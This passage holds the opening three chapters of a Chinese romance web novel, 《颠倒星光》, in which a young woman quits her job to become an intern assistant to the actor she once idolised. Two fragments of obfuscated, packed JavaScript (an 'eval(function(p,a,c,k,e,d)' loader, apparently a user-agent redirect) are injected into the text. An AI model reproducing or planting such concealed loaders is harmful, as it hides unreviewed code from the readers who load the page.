《颠倒星光》 1. 第 1 章 《颠倒星光》 多加芋圆/晋江文学城 —— 立冬，十一月上旬，莫城。 一夜降温，整个莫城上空像笼着一层干冰，街边行人裹紧大衣、神色匆匆。 临街暖黄色调的咖啡馆内，孙小雨诧异地看着面前的好友：“你真的辞职了？” “嗯。”宁茉捏着手里的咖啡勺，很轻地搅了搅，“我不想做了。” “为什么？” 宁茉的语气十分干脆：“很无聊。” 孙小雨瞬间瞪大了眼睛：“什么？” “无聊啊，这份工作没什么意思，我不想做了。” 孙小雨像是第一天认识自己这位高中同学兼大学室友，不敢置信的眼神从上打量到下：宁茉长得好看，不过是清秀款的那种好看，一张尖尖的巴掌脸，五官小巧，一双眼睛却生的极为灵动好看，仿佛盛着一汪清泉，一旦和她对视，就很难移开目光。 大学时她不爱打扮，衣柜里永远只有黑白灰三种颜色，每天扎个马尾素颜朝天地就出门了，在一群五颜六色花枝招展的女生里，她显得极其低调。 但只要留意到她，视线就很难从她的脸上转过去。 她也不爱热闹，总是在人少的清晨或是深夜出门散步，其他时间就安安静静地坐在寝室里看书，在那个所有人都忙着恋爱忙着热烈忙着冲动的青春时期，宁茉却很平静地度过了自己的大学生涯。 孙小雨和宁茉熟络起来，也是因为高中时一次深夜自己发烧，整个寝室只有宁茉被她惊醒，扶着她去了校医室，看诊输液吃药……一路陪到了天亮，从那以后，宁茉就是她的好朋友了。 在孙小雨看来，宁茉就是那种别人家的孩子，学习好性格乖，学习起来能整夜不睡觉，从不离经叛道，能处理好和周围人的关系，情绪稳定到不可思议。 可这样一个人，竟然突然从干了两年的别人眼中的好公司离职，脱离了原本的生活轨道，突然说要换个方式生活。 细看之下，孙小雨才注意到宁茉今天黑色的大衣里面竟然穿了一件裙子，是件浅黄色的长款连衣裙，一字领突出宁茉漂亮的锁骨，掐腰设计显出宁茉细薄的腰身，加之她原本就白，浅黄色更是称得她白的发亮，如果再化上妆，宁茉绝对会拥有百分百的回头率。 “这件衣服……”孙小雨笑了一声，“好难得见你穿啊，真漂亮。” 宁茉低头看了一眼自己，也跟着笑了：“今天突然翻出来的——你还记得这件衣服？” “当然记得，都这么几年了你竟然还能穿上，对了，这几年你还关注他么？” 宁茉端着咖啡的手突然一顿，眼神顿时有些飘忽，避开了孙小雨的目光：“谁？” “萧扬啊，”孙小雨挑了挑眉毛，“你大学时候不是超级喜欢他么，追了他整整两年，电视剧每个都看，代言统统都买，连这件裙子也是为了去见他特意买的。” “我当时都纳闷，怎么你一个清心寡欲的乖乖仔，竟然也会追星，还为了去探班翘了两天的课。” 孙小雨继续问道：“后来没听你再提起过他了，怎么样，现在还喜欢吗？” 宁茉顿了一会儿，语气有些犹豫：“还好吧。” “果然，”孙小雨一副“明白了”的表情，自顾自接了下去，“现在娱乐圈帅哥太多了，萧扬虽然确实长得不错，但演了这么几年也没演出个什么名堂，还是新晋的那些帅哥比较香，我上周还路过了MA8商场，遇上白野的见面会了呢，他本人也太帅了，给你看照片！” 孙小雨翻出手机里拍摄的视频，递给宁茉看，宁茉接过，画面里是近几年火起来的白野站在舞台上和粉丝挥手，台下的尖叫声几乎掀翻舞台，整个商场围的水泄不通。 谁看了都要说一句人气爆棚，星途无量。 和接机也凑不够三十个人的萧扬对比起来，真是天差地别。 宁茉把手机还给孙小雨：“嗯，人气确实很高。” 孙小雨顿时有些惊讶：“你不觉得他很帅么？”她还以为宁茉会跟着自己激动，没想到对方的反应这么平淡。 “还好，有造型加持，五官只能算端正，”宁茉想着自己曾经见过的白野，“不排除他这几年整了容。” 末了，又补了一句：“站在萧扬旁边的时候，你都看不到他。” 孙小雨啧了一声：“不愧是前墙头，这种时候还要夸一嘴。” 宁茉很淡地笑了一声，目光却有些恍惚：她以前也见过白野，和萧扬在同一部剧里做配角，当时两人的人气不相上下——一样的糊。 宁茉跟着粉丝团去探班，特意换上新买的连衣裙，找了造型室做了造型化了妆，漂亮到自己都觉得有点陌生。 那时的萧扬脸庞还带着些青涩和刚出道的拘谨，身形挺拔，眉眼精致，浓黑的睫毛下一双含笑的桃花眼，靠近还能闻到浅淡的草木清香。 他穿着一件纯白色套头毛衫，浅色的裤子，明明是一副平易近人的样子，却因为长得实在太精致而让人有种不真实感、不敢接近。 白野就站在萧扬旁边，笑着挤兑萧扬，说他真是有福气，粉丝一个个都这么漂亮。 说话的时候，白野的目光就直直地盯在宁茉身上，萧扬脸上的笑容瞬间淡了一些，从宁茉手里接过奶茶，不动声色地挡在她面前：“到你上场了。” 白野还有些恋恋不舍：“我也想喝。” 说着他伸手去拿萧扬手里那一杯，萧扬却轻巧地避开他的手，顺手从旁边人手里又拿了一杯塞给他：“快去吧，别耽误了进度。” 白野又绕过萧扬看了宁茉一眼，这才不情不愿地离开了。 萧扬就那样站在宁茉面前，低头看着她，手上是不少粉丝递给他的照片，要他一一签名。 宁茉盯着眼前高大的身影发了一会儿呆，才突然想到正事，急忙从包包里翻出一张照片，那是萧扬出道第一部剧的剧照，造型很敷衍，服装也廉价，全靠萧扬一张帅脸硬撑着，是萧扬和粉丝们都不愿提及的黑历史。 但这却是宁茉喜欢萧扬的起点，她第一次认识这个名叫萧扬的演员，也第一次开始追星。 剧照递到面前的时候，萧扬帅气的脸上微微有了点变化，他浅淡的笑容一顿，特意抬眸看了宁茉一眼。 可对方满眼真诚，满脸期待，丝毫没有在恶作剧的意味。 萧扬眼底微怔，只好再次低头看向那张剧照，却怎么也签不下去。 太丑了，是怎么能找到这么丑的一张照片的？——要是时间能回溯就好了，他一定会向剧组争取，要个好点的妆造。 宁茉看到萧扬的动作突然顿住了，随后抬眸看向自己，却什么也没说，顿时有些疑惑，不解地看了回去——两个人大眼瞪小眼，僵持了几秒。 眼见没等到她拿出一张别的照片，萧扬只好轻声叹了口气，大手一挥，认命般在照片上签上了自己的名字。 宁茉很了解萧扬的微表情，看他这样，突然意识到他是不满意手上那张照片，顿时没忍住很轻地笑了一声，又立刻抿了抿嘴，生怕把萧扬惹恼了他不签了。 身边女孩的笑声轻的几不可闻，偏偏萧扬耳朵很尖，捕捉的清清楚楚。 他嘴角轻扬，签完没有立刻将照片还给她，而是将照片翻过来写了句话，随后递给了宁茉。 宁茉去接照片时，注意力不自觉地就被萧扬的手吸引了：他的手骨节分明，修长优雅，冷白的肤色衬得指尖泛粉，是一双堪称艺术品的手。 看的专注，她甚至没注意萧扬低头在她耳边说了句什么，等回过神，探班已经结束了，萧扬拍摄任务很重，已经被叫回了剧组。 一行人收拾东西准备回程，宁茉在原地发了很久的呆，才终于回想起那句话—— 萧扬的声音低沉磁性，语调温柔却认真：“谢谢。” “还有——离白野远一点。” 宁茉当时不明白他的意思，直到回家后有人联系自己，说白野想加自己的联系方式，宁茉这才明白萧扬当时那句话是在提醒她：远离不怀好意的人。 ……该说萧扬太信赖自己的粉丝什么都说，还是该说白野确实名声不好，以至于只见了一次面，就让萧扬提防他盯上自己的粉丝？ …… “茉茉？”孙小雨看宁茉开始发呆，抬手在她面前晃了晃，“想什么呢？” “哦？没什么……”宁茉回过神，笑了一声，“过两天我要去荣城。” “荣城？”孙小雨眨眨眼，“要去找朋友吗？” “不是，是……”宁茉想了想，“散散心。” 她有点出神，目光移向手机界面，上面是一条凌晨三点收到的短信。 【尊敬的宁茉女士：您好！恭喜你通过面试，请于三天后带着个人资料到荣城西坪区江宁街152号报道。——萧扬工作室】 —— 三天后，荣城。 萧扬工作室选址不在那些明亮气派的商务楼，反倒是在荣城的老城区西坪区里一处不起眼的小楼，小楼一楼是咖啡厅，二楼是茶室和私人健身房，三楼就是萧扬租下的工作室，有一整片落地窗，看着十分干净。 宁茉报道时，是一个戴着金丝眼镜、神情严肃的女子接待的，她叫霍妍，是萧扬工作室的副总，也是当时面试宁茉的人。 霍妍似乎很忙，几乎没什么时间交代宁茉工作，只是指了指大门旁边的会议室：“还有一个助理没来，你先在那边和王墨等一下。” 宁茉走到会议室，这是一处用单向玻璃隔出来的空间，里面的人能透过玻璃看到外面，外面却看不清里面的情况。 会议室里已经坐了一个男生，看起来年纪和自己差不多，戴着副黑框眼镜，脸上满是生涩和紧张。 宁茉走进来时，他连忙站起来做自我介绍：“你好你好，我叫王墨，荣城美术学院摄影专业毕业生，是刚来的助理。” 他显然把宁茉当做工作室的人了，热情又客气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦……那个……我家就在荣城，以后你有什么事情可以找我帮忙。” “好，谢谢。” 两个人的对话客气又简单，王墨的脸一红再红，终于没有勇气再搭话了。 又沉默了五分钟，会议室的门突然被人推开，随后一阵甜腻却不刺鼻的香味随着一道粉色的身影猛地飘了进来。 “不好意思我迟到啦！不该打车来的，路上实在太堵了，我保证下次坐地铁，绝对不会迟到啦！” 来人是个穿着粉色外套的女生，看起来年龄还小，手里握着一杯喝了一半的奶茶，眼睛很大，样子活泼可爱。 “我叫宋依依，”她大方地自我介绍，随后把手里的奶茶袋子放到了桌子上，“听说这次加上我一共招聘了三个助理，我给你们带了奶茶，一杯热的一杯凉的，诺，女孩子就喝热的吧~” 她热情地把手里的奶茶分给宁茉，目光在她脸上停留了两秒，随后眼底一亮：“是个漂亮小姐姐诶，太好了！” 宁茉和王墨显然都被这个过于自来熟的女孩惊到了，两个人同时愣了一下，宁茉笑着接过她的奶茶：“谢谢，你才是漂亮妹妹。” 王墨原本就不善言辞的性格在宋依依连夸了他两句帅气后更加无措，接奶茶时手都是抖的。 宋依依一来，屋子里的气氛瞬间热络了起来：“你们看到浦哥了吗？” “浦哥？”王墨疑惑道。 宋依依笑笑：“萧扬工作室的老总浦世诚呀，以前是萧扬的经纪人，萧扬解约后跟着他出来单干的，长得高高大大的。” “哦……你知道的真多，”王墨摇摇头，“我没见到他，外面只有霍妍姐一个人。” “那就是说萧扬也还没来，”宋依依揉了揉脸，“太好了，没有给萧扬留下第一天上班就迟到的坏印象。” 宋依依还在自我介绍：“我是江城大学大四传媒系的学生，明年毕业，出来实习找工作的，刚好工作室招人我就来啦~我超会P图的，可以帮你们P图哦~” 王墨慌忙也开始自我介绍。 宁茉看了看两个人，发现原来工作室招人也是有技巧的：他们一个会P图一个会摄影，一个初出茅庐精力无限、一个性格内敛吃苦耐劳，反观自己，除了履历上还不错的学历以外，几乎一无是处，连她的就业经历也和娱乐圈八竿子打不着边，难以想象面试时自己是怎么超常发挥、通过了面试的。 而且不管怎么看，面前这两个人都比自己年轻、有优势，萧扬工作室只打算招一名助理却要了三个实习生，实习期三个月，显然就是打算让他们竞争上岗，宁茉觉得三个月后自己多半就要收拾东西离开了。 会议室里，宋依依和王墨两个人聊着天，宁茉却注意到门外有声音，她转过头，工作室的大门被人推开，一道挺拔的身影出现在门后，看到那人的瞬间，宁茉呼吸微顿。 是萧扬，他来工作室了。 2. 第 2 章 萧扬似乎是要去参加什么活动，穿的西装革履的，一身黑色正装剪裁合体，包裹住西装下饱满的肌肉轮廓，身姿挺拔，气场十足。 几年不见，他已然褪去了刚出道时的青涩稚嫩，变得稳重大方，显出一种慑人的锋利来，浓黑的眼睫垂下，精致的五官像艺术家精心雕刻的作品，看着别人的时候眼神专注，让人不敢和他对视。 萧扬腿长，走起来速度很快，几步就走到了会议室门口，他身后还跟着一个熟悉的身影——是经纪人浦世诚，两个人一前一后，在霍妍的带领下走进了会议室。 原本热闹的会议室瞬间安静下来，王墨和宋依依都是一愣，宁茉的心情也莫名紧张起来，她低下头，安静地和另外两个人站成一排。 萧扬似乎没有料到会议室里还有这么多人，进门后脚步一顿，目光看向那三个身影。 霍妍立刻解释道：“新来的助理们，要介绍一下吗？” “……不用，先开会吧，”萧扬大步走进会议室，坐到了他平时习惯坐着的主位，低头看向手里的资料，语气沉稳冷静，“浦世诚，放一下品牌介绍。” “好。”浦世诚打开投影，划了划手中的平板，几个PPT出现在了投影上。 霍妍也开始低头记录，工作室几个人就这么迅速地进入了工作模式，宁茉看了一会儿，明白过来他们似乎是在选代言品牌，同时有几家定位相似的品牌找到了他们，而萧扬显然只能选一家长期合作。 三个实习助理互相看着对方，都觉得十分尴尬，这种一面讨论的热火朝天、一面却过于安静的场景实在是诡异，他们不知道该干什么。 萧扬比想象中要忙，也比想象中要冷漠。 直到孙尚万也走了进来，他看了一眼会议室几人，朝着三个人招招手。 宋依依第一个起身，王墨和宁茉跟在她身后，悄悄出了会议室。 “新来的助理们？”孙尚万问了一句，却没打算等他们回答，“今天事情不多，先了解一下基本情况，再给他们端杯咖啡吧。” 他领着众人走到工作室一角，上面摆着一张长桌，饮水机、咖啡机、制冰机应有尽有。 “老大喜欢喝黑咖啡，浦哥喝拿铁，霍姐喝椰汁美式——咖啡机你们会用吗？” 三个人对视一眼，宁茉有些尴尬，别说会用咖啡机了，她刚才都没有听明白孙尚万说的那几个咖啡有什么区别。 王墨显然也不懂，摇摇头。 宋依依积极地举起了手：“我会，我来吧孙哥。” 孙尚万有些意外：“你知道我？”他还没有开始自我介绍，而这个小实习生已经精准地喊出了他的名字。 宋依依眨巴眨巴眼，尴尬地笑了笑：“呃……我刚才看到你的资料了。” 孙尚万点点头：“哦，这样啊，我还以为你是萧扬的粉丝呢，他的粉丝们都知道我。” 这话听得宋依依和宁茉都有些心虚，只有王墨忍不住问：“为什么不招粉丝？” 这疑问他大概憋了很久，直到自己被录取才问了出来：“粉丝难道不是更了解艺人，也更能因为喜欢配合好艺人的工作吗？” 孙尚万沉默了几秒，摇摇头：“其实我们也没有明确规定不招粉丝，只不过艺人助理是粉丝的话风险很大，助理是距离艺人最近的人，而粉丝们期望值又太大，一旦发现明星本人和他们想象的不一样，就很容易失望，万一再闹僵了，到时候双方都受伤，何必呢？” 这话说的直接，听得宋依依愣了一下，宁茉也忍不住偏头看了一眼会议室的方向。 宋依依犹豫了几秒，还是问道：“那……萧扬哥本人，和他对外的形象一样吗？” 孙尚万笑了笑：“当然不一样。” 宋依依笑容又是一僵。 孙尚万：“总之，以后慢慢相处就知道了，现在，把咖啡给他们吧。” 三个人一人端着一个杯子，非常整齐地走向会议室。 宁茉观察了一眼宋依依的神情，她似乎有些失落，又带着点尴尬，大抵是刚才孙尚万说的话打击到她了。 毕竟怀着一腔热情来给偶像为爱发电，却发现偶像都没正眼看自己一眼，失落也很正常。 再联想到自己，宁茉觉得自己多半也是脑回路哪里多拐了一下，才想到来这里工作。 等进了会议室，宁茉发现宋依依端着那杯咖啡给了浦世诚，而王墨径直走向霍妍，也就是说…… 宁茉低头看了一眼自己手里的咖啡，颜色黑的纯正，像一杯精心熬制了一小时又放凉加冰的中药。 ——这杯中药，是萧扬的。 宁茉脚步一顿，深吸一口气，缓慢又僵硬地朝着萧扬走去。 萧扬盯着手边的资料看的入神，最近事情太多，忙的他顾不上休息，思绪也有些混乱。 直到一杯咖啡轻轻放到了自己右手边，身侧传来一阵若有若无的清香，对方声音轻柔：“你的咖啡。” 纷乱的情绪微微被抚平，听着这个声音，萧扬神情微动，抬头看了对方一眼。 萧扬的眉眼很好看，眼睛是标准的桃花眼，眼型细长漂亮，眼尾微微上翘，加上他睫毛浓密漆黑，看起来更是自带深情，粉丝常常评价萧扬一张酷哥的脸偏偏搭配了一双含情目，宁茉却觉得这双眼睛长得好极了，足以让人第一时间就被他吸引，移不开目光。 萧扬身上还有着淡淡的香味，是种混合着雪松和檀木的味道，极为好闻，靠近时隐隐还有一丝柑橘的甜香。 宁茉被香味蛊惑，竟然忘了立刻抽身，而是停在原地愣了几秒。 然而，萧扬只是短暂地看了她一秒，就立刻转过头重新看向手机，眉眼垂下，低声道：“谢谢。” 声音低沉磁性，一如曾经那个冬日午后，附在宁茉耳边说的那一声谢谢。 宁茉这才反应过来，不动声色地起身，跟着宋依依出了会议室，心跳却越来越快。 太好了，他没认出来自己。 可与此同时，又有一阵很淡的失落绕上宁茉的眉头：这很正常，自己只是一个小粉丝，萧扬怎么可能记得呢？ ——而且，不记得不是一件好事么？ 宁茉嫌弃了自己几秒，很快就重新进入了工作状态。 孙尚万给三个人安排了一些基础工作，让他们先看之前萧扬的日程表，学一下该怎么排，顺带了解一下演员的日常。 宁茉拿着的是萧扬在上个剧组时的通告表，但让她意外的是，时间竟然已经是三年前了，也就是说这三年期间，萧扬竟然都没有接过戏，也没有出席过活动，连综艺节目都没有接过。 而且剧组有些过分，给萧扬排的时间都是夜场，加上剧组的进度经常拖延，这就意味着萧扬每天要花大量的时间在现场等着拍戏，无聊又磨人。 “天呐，”宋依依手里拿着的似乎是最近萧扬的日程表，看的她嘴都合不拢，“这是什么特种兵训练单吗？怎么这么忙啊！” “是啊，”王墨也有些震惊，“萧扬哥……日程好多啊……” 宁茉和他们交换了一下手中的资料，随即小小地震撼了一下：萧扬自从工作室成立后，日程就突然变得繁忙了起来，每天都有要做的事情，就连今天的日程都排到了晚上十点。 这对朝九晚五准时下班的宁茉造成了较大冲击。 宋依依抚着胸口，深吸一口气：“毕竟是刚开始自立门户，日程忙是正常的，而且我们三个人呢，难道还跟不好他一个？” 宁茉赞同了她的说话：“万事开头难，说不定做做就会发现也没那么辛苦。” “喵~” 一声猫叫打断了三个人的对话，三个人同时看向声音的来源——在工作室的角落里竟然窝着一只橘猫，体型很小，看起来只有几个月大，正在垫子上打滚。 宁茉眼底一亮，起身走到猫猫旁边蹲下：“这里怎么会有只猫？” 橘猫旁边就是猫砂盆和猫粮机，看得出来是养在这里的。 孙尚万抽空回了一句：“老大前不久刚捡回来的，叫山山。” “山山？”宁茉试着伸手去摸猫，橘猫却朝她哈了口气，看起来很凶。 孙尚万看到他们去逗猫，提醒道：“小心点，它以前是个流浪猫，不亲人，浦哥都被咬过两次了。” 宁茉有些兴奋地看向宋依依：“依依，你快过来看。” 她从小就喜欢猫咪，却没有养过猫，总是眼馋别人家的猫咪，短视频平台上看的最多的也是猫猫视频。 宋依依却缩在位置上没有动，神情警惕：“不了不了，我、我怕猫。” 王墨则试图给小橘猫喂猫粮的，可惜它大概是刚吃饱，鼻子闻了一下王墨手上的猫粮，傲娇地偏过头，没有吃。 王墨顿时也有点尴尬：“这只小猫还挺高冷的。” 宁茉从王墨手里接过猫粮，放到橘猫旁边，耐心地等了一会儿。 小橘猫警惕地看了眼宁茉，又闻了闻自己旁边的猫粮，犹豫了一会儿，很慢地吃了几颗。 宁茉笑着伸手，再次试图去摸小橘猫的脑袋，小橘猫巧妙地翻了个身，避开了她的触碰，却没有像一开始那样哈她。 这就意味着猫猫不讨厌自己了，宁茉从旁边的柜子里找来鸡肉冻干，放在自己手心，凑到了猫猫面前。 鸡肉冻干的诱惑显然比猫粮大多了，猫咪伸了个脑袋过来，就着宁茉的手心吃了起来。 宁茉一边喂它，一边轻轻摸了摸它的脑袋，这次猫咪没有躲开，只是有些不耐烦地晃了晃头，又在吃到冻干后享受地眯起了眼。 ……小猫咪还真是好哄。 孙尚万注意到这边，微微有些惊讶：“你竟然能让它在你手心上吃东西。” 宁茉笑了笑：“小猫的脾气很好琢磨的，这个猫咪不凶，温柔一点对它就好了。” 宋依依好奇道：“你这么喜欢猫，自己养有猫吗？” “没有，”宁茉摇摇头，犹豫了几秒，眼底有些黯淡，“我……我怕负不起责任。” “是啊，毕竟是条小生命，”孙尚万附和道，“万一没养好出了什么事，自己心里也过不去啊，老板刚捡回来它的时候，我们都很吃惊，因为他也不像是会在外面捡流浪猫的性格。” “那为什么会捡这一只呢？”宋依依好奇地追问。 孙尚万笑笑：“因为这只猫特别馋，追着手里拿着三文鱼沙拉的老板追了一条街，一直追到工作室，老板也就让它留下了，哈哈，它也算是自己给自己找了个家。” 宁茉听完愣了一下，低头看了山山一会儿，摸了摸它的小脑袋：“你真聪明，以后要好好生活，我会给你买很多好吃的。” 小橘猫吃完了冻干，并没有立刻离开，而是又绕着宁茉的手心蹭了一圈，才慢慢回到了自己的垫子睡觉。 …… 品牌讨论会开了足足两个小时，随后萧扬和浦世诚离开了工作室，霍妍则快步走到几个人身边：“你们谁会开车？” 王墨和宁茉同时开了口：“我会。” 宋依依有点不好意思：“我……我刚拿到驾照，还没开过。” 霍妍快速做出了选择，看向王墨：“自动挡能开么？浦哥昨晚喝了酒，现在不能开车，你把他们送去南江区，钥匙在浦哥手上。” “好。”王墨立刻起身，拿着包就朝着电梯追去。 宋依依羡慕地看着王墨的背影：“哇，第一天就跟着萧扬赶通告。” …… 一连三天宁茉都待在工作室，连萧扬的面也没见着，直到霍妍告诉她们萧扬已经接了新剧，之后会进组，到时候三个人会轮流跟组，其他时间就在工作室做孙尚万的助手，工作主要是对接剧组和广告商。 王墨倒是跟着出去了几次，他是个男生、又会开车，浦世诚乐得把司机这个工作交给他，加上萧扬即将进组，应酬多了起来，昨晚三个人一直熬到凌晨四点才回家。 早上来的时候，王墨有些无精打采，在位置上坐了几分钟就又去会议室补了一会儿觉，才慢慢恢复过来。 宋依依看他那副睁不开眼的样子，忍不住笑他：“王墨，你年纪轻轻的，怎么熬个夜就顶不住了？” 王墨猛灌了一口咖啡：“因为不是只熬一次……我已经连着三晚没睡好了。” 宋依依撇撇嘴：“每次出去都带你，什么时候轮到我和茉茉啊……” 宁茉看向宋依依：“你也想跟着出去？” “当然了，”宋依依嗷了一声，“我来这里三天，三天了！只见过萧扬一面，连话都没说上呢。” “虽然说是实习期三个月，谁知道工作室会不会突然觉得人多裁一个，到时候我要是走了，岂不是太亏了！” 这话说的王墨都有些吃惊：“不会吧？工作室看起来很缺人的样子，不会轻易让我们走吧？” “是啊，”宁茉赞同地点点头，“我们可是事多钱少、物美价廉的实习生啊，这三个月要是不用满，工作室岂不是太傻了？——去哪儿还能找到这么廉价的劳动力啊。” 宋依依：“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这是辆五座的商务SUV，后座做了改装，空间更大，中间也加了隔板，车窗贴了防窥膜，低调又隐蔽，宁茉在公司偶尔也会开公司的车跑外勤，因此上手的很快，只研究了一会儿就顺利地开上了路。 “终于跟行程了！”宋依依望着手里的剧本一脸兴奋，“这是萧扬的新剧吧，上面说两个月后开拍，那怎么这么早就办剧本围读会？” 宁茉瞥了一眼封面，上面写着《如意环》三个大字，似乎是个古装戏：“大概是打算前期主创团队先碰一碰，再对剧本做修改吧。” 宋依依一边看剧本，一边感叹道：“天呐，导演是陈昌，这阵容这配置，大剧组啊！” “你看过《明月刀》、《春风盏》没有？这几部古装精品剧都是陈昌导的，水平超级高！《如意环》好像也是同系列的，那剧本就有保障了！加上造型团队是郑业广，我嘞个豆，绝杀！” 宋依依激动到剧本都快拿不稳了：“只要演好了一定会火！不，以萧扬的演技，一定能演好！” 宁茉笑了：“这么肯定？” “那当然了，他可是萧扬，”宋依依嘿嘿一笑，“茉茉你呢？你之前看过萧扬演的戏吗？” “……” 宁茉沉默了几秒，不知道该不该说实话。 宋依依却已经接了下去：“好吧，你没看过也理解，毕竟萧扬之前确实……有点糊，那些剧不看也罢。” “……”不得不说宋依依概括的倒是很贴切。 浦世诚中午出去应酬了，饭店离工作室不远，两个人没说几句就到了，浦世诚上了车，先同她们打了声招呼，又报了个西坪区的地址，是萧扬的住处。 宁茉打开导航，微微意外地发现这竟然只是一个略微高档些的居民小区，不是她想象中明星会住的那种豪宅别墅。 宋依依也有点惊讶，看了浦世诚一眼，浦世诚顿时就明白了她的疑问，笑道：“他家不在这儿，这是他租的房子，而且之后进了组，大多数时间就住酒店了，住哪儿都一样。” “哦~”宋依依点点头，好奇道，“那等进了组，我们也会跟着去酒店吗？” “当然了，你们可是他的助理，”浦世诚笑笑，“放心，他住哪儿你们就住哪儿。” 浦世诚今天穿的很正式，一身有些拥挤的西装衬得他愈发健壮，以前浦世诚被粉丝亲切地称为“浦哥”就是因为他体型比较大，遇到什么情况能及时护住萧扬。 浦世诚翻了翻手机，又看向前方一直保持沉默的宁茉：“宁茉，你开车技术行吗？要不换我来？” “还行，”宁茉踩了一脚油门，“不麻烦浦哥了。” 浦世诚呵呵笑道：“不着急，慢慢开。” 宁茉一路都开的很小心，畅通无阻地进了小区的地下停车库，直直停到了一个电梯前。 浦世诚打电话让萧扬下来，同时嘱咐了一句：“宁茉，等会儿出了小区把我放下就行。” 宁茉一愣：“你不一起去吗？” “我不去，我还有事，”浦世诚理了理身上被自己坐的有点皱的西装，“就在这附近，所以搭车过来的。” 宁茉捏了捏方向盘：“那……只有我和依依去剧组？” “对啊，”浦世诚笑了，“不用担心，只是个围读会，剧组那边事不多，萧扬更省事，你们就坐旁边看着就行了，等我这边事情结束了我也会过去的。” 宋依依第一次出门有些激动，将手里的剧本小心放到后座，又向浦世诚确认了一下等会儿需要做的事情。 三人说话间，电梯楼层数字不断变小，直至变为-1，下一秒电梯门开启，宁茉余光看到电梯门开了，立刻转头看了过去。 萧扬今天穿了一件雾霾蓝的休闲西装，里面搭着一件灰领毛衣，长腿被黑色直筒裤包裹着，大步从电梯里走了出来。 他皮肤是天生的冷白色，被那件蓝色西装衬得愈发显白，精致的面容被口罩挡住了大半，只露出一双漂亮的眼睛，瞳孔是深褐色的，像某种不知名的宝石，泛着幽深的冷光。 隔着车窗前的黑色贴膜，宁茉又肆无忌惮地朝他多看了几眼。 萧扬的衣品一向很好，加上他是个天生的衣架子，无论怎么穿都不会出错，到哪儿都好看到压人一头。 早些年萧扬跟着剧组走红毯时，每次造型都很出圈，热度比当红男明星还要高。 下一秒车门开启，伴随着一阵浅淡的冷香，萧扬上了车。 3. 第 3 章 萧扬上车的瞬间，宁茉微微挺直了脊背，随后稳当地启动了车辆。 注意到车前坐着的两个人，萧扬扫了一眼，又转头看向浦世诚。 浦世诚笑笑：“介绍一下，两位妹妹都是新来的助理，这个是宋依依，这个是宁茉。” 宋依依激动地朝他招招手：“萧扬哥好，你叫我依依就行。” 萧扬很轻地点了点头当作回应，随后目光移向主驾驶清瘦的背影。 宁茉没有回头，隔着后视镜看了他一眼，轻声开口：“你好，我是宁茉。” 她以为萧扬大概不会有什么反应，却没想到下一秒，那双桃花眼直直地朝着后视镜看了过来。 萧扬的声音低沉磁性：“你好。”。 “……” 宁茉一怔，短暂地僵了一瞬又很快回神，目光再次看向前方，没有敢再看后视镜，她还要开车，不能再分心了。 浦世诚和萧扬核对起之后几天的行程：“下午的围读会可能会持续到很晚，明早的拍摄我们看情况往后推。” “不用，”萧扬语气淡然，“照常进行。” “……”浦世诚的表情带了点难以形容，“你昨天熬了个通宵，今天真的要休息……” “我没关系。” 萧扬说完这句话，拿起剧本低头开始研究，浦世诚眼看他态度坚决，只好摇了摇头，不再坚持。 围读会选在南江区偏北的一座临江建筑里，是一个装修雅致的茶楼，大概是导演陈昌常去的地方，萧扬三人才刚露面，就有人引导着他们往楼上的雅间走。 雅间是个中式风的房间，长方形构造，面积很大，最里面是个长长的茶台，可以围坐一圈人，中间是一个巨大的千里江山图屏风，用来隔开视野，外面就是供摄像和工作人员休息的地方。 导演陈昌是个微胖的中年男人，操着一口浓重的南方口音，看到萧扬热情地朝他打招呼：“萧扬，来这么早哇，来来来这里坐。” 陈昌坐在茶台一侧中间，另一侧零零散散坐了几个演员，不过戏份都没有萧扬多，看到他来主动让座，萧扬却并没有往中间坐，而是坐在了侧边。 宁茉和宋依依就站在屏风旁，宋依依靠近宁茉小声问：“咱们坐哪儿？” 周围很多人似乎都是认识的，演员们坐在一起，经纪人们坐在一起，就连助理们也在门口站着聊天，无形中显出一种层次分明的秩序来。 只有宁茉和宋依依两个人有些无所适从，左右看了看，不知道该往哪里去。 宁茉看了一眼门口：“我们留一个人在里面，剩下一个人在外面等吧。” “啊？”宋依依闻言顿时有点紧张，“可是我想和你在一块，我不想一个人待着，要不我们一起出去吧？” “不行，浦哥说了我们要坐旁边，”宁葚想了想，“或者我们就在屋子里等，和摄影老师坐一起。” 宋依依小幅度点点头：“好好好，我们过去。” 这时，萧扬突然转头，看向宁茉和宋依依，两个人刚迈出的脚步瞬间定住了，同时看向萧扬，等着他的指示。 萧扬抬起手，面上依旧是冷淡的神情，很轻地朝着她们招了下手。 宋依依一愣：“萧扬哥是要我们过去吗？” 宁茉嗯了一声，拉着宋依依，猫着腰慢慢往里面走，路过陈昌导演时，摄像头正对着她们的方向，两个人头都不抬，迅速地窜了过去。 萧扬看着她们像做贼般紧张地朝着自己移动，冷淡的脸上终于有了一丝笑意，目送着两个人来到自己身后。 “……”宁茉感受到周围有不少人在看自己，紧张到说话都带了点磕巴，“怎、怎么了？” 宋依依也热情地凑上来：“萧扬哥，你需要我们做什么？” 萧扬指了指自己的身后，声音低沉：“你们坐那边。” 宁茉看过去，这才发现原来靠墙的地方还摆了一圈蒲团，不过因为没人坐，宁茉进门后理所当然把那些当成了房间内的装饰，没想到是一圈座位。 她瞬间反应过来，脸颊微微有些发红：“……好。” 拉了宋依依的手，两个人轻手轻脚地挪了过去，又小心翼翼地坐下。 宋依依坐在萧扬的正后方，宁茉的角度则稍偏一点，正好能看到萧扬俊美无俦的侧脸。 房间里温度很高，萧扬脱了蓝色西装外套，身上那件灰领毛衣看起来柔软舒适，弱化了萧扬身上的凌厉感，显得气质稍稍温柔了些。 他在研究剧本，宁茉看了他一会儿，转头低声问宋依依：“剧本还有吗？” 刚才在车上的时候，她隐约记得宋依依手里是两份剧本。 